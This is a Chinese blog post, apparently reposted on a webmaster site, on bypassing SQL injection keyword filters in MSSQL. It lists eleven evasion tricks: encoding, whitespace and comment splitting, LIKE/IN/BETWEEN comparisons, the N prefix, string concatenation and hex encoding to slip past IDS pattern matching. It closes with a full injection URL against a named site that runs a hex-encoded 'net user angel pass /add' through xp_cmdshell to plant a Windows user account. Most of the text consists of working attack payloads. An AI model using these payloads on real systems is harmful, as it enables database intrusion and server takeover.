一般通用過濾字符串的關(guān)鍵字有以下這些: and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 而這里最難處理的就是select這個(gè)關(guān)鍵字了,那么我們?cè)鯓觼硗黄扑麄兡?問題雖未完全解決,但還是說出來與大家分享一下,希望能拋磚引玉。 對(duì)于關(guān)鍵字的過濾,以下是我收集的以及我個(gè)人的一些想法。 1、運(yùn)用編碼技術(shù)繞過 如URLEncode編碼,ASCII編碼繞過。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 2、通過空格繞過 如兩個(gè)空格代替一個(gè)空格,用Tab代替空格等,或者刪除所有空格,如or' swords' =‘swords' ,由于mssql的松散性,我們可以把or 'swords' 之間的空格去掉,并不影響運(yùn)行。 3、運(yùn)用字符串判斷代替 用經(jīng)典的or 1=1判斷繞過,如or 'swords' ='swords',這個(gè)方法就是網(wǎng)上在討論的。 4、通過類型轉(zhuǎn)換修飾符N繞過 可以說這是一個(gè)不錯(cuò)的想法,他除了能在某種程度上繞過限制,而且還有別的作用,大家自己好好想想吧。關(guān)于利用,如or 'swords' = N' swords' ,大寫的N告訴mssql server 字符串作為nvarchar類型,它起到類型轉(zhuǎn)換的作用,并不影響注射語句本身,但是可以避過基于知識(shí)的模式匹配IDS。 5、通過+號(hào)拆解字符串繞過 效果值得考證,但畢竟是一種方法。如 or 'swords' =‘sw' +' ords' ;EXEC(‘IN' +' SERT INTO '+' …..' ) 6、通過LIKE繞過 以前怎么就沒想到呢?如or 'swords' LIKE 'sw'。!顯然可以很輕松的繞過“=”“>”的限制…… 7、通過IN繞過 與上面的LIKE的思路差不多,如or 'swords' IN ('swords') 8、通過BETWEEN繞過 如or 'swords' BETWEEN 'rw' AND 'tw' 9、通過>或者<繞過 or 'swords' > 'sw' or 'swords' < 'tw' or 1<3 …… 10、運(yùn)用注釋語句繞過 用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser 用/**/分割敏感詞,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 11、用HEX繞過,一般的IDS都無法檢測出來 0x730079007300610064006D0069006E00 =hex(sysadmin) 0x640062005F006F0077006E0065007200 =hex(db_owner) 另外,關(guān)于通用點(diǎn)的過濾方法,我們可以考慮采用賦值的方法,例如先聲明一個(gè)變量a,然后把我們的指令賦值給a,然后調(diào)用變量a最終執(zhí)行我們輸入的命令。變量a可以是任何命令。如下: declare @a sysname select @a= exec master.dbo.xp_cmdshell @a 效果: http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;-- 其中的 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 就是“net user angel pass /add”的意思。 這個(gè)是突破單個(gè)如NoSqlHack這類文件的。但我認(rèn)為最重要的是要考慮服務(wù)器的安全,配置安全,有健全的防火墻和殺毒軟件。就這樣吧。也很久沒更新BOLG了。 |
免責(zé)聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識(shí),文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請(qǐng)勿用于商業(yè)用途,如果損害了您的權(quán)利,請(qǐng)聯(lián)系我們及時(shí)修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級(jí),為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進(jìn)步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)!
掃一掃,關(guān)注站長網(wǎng)微信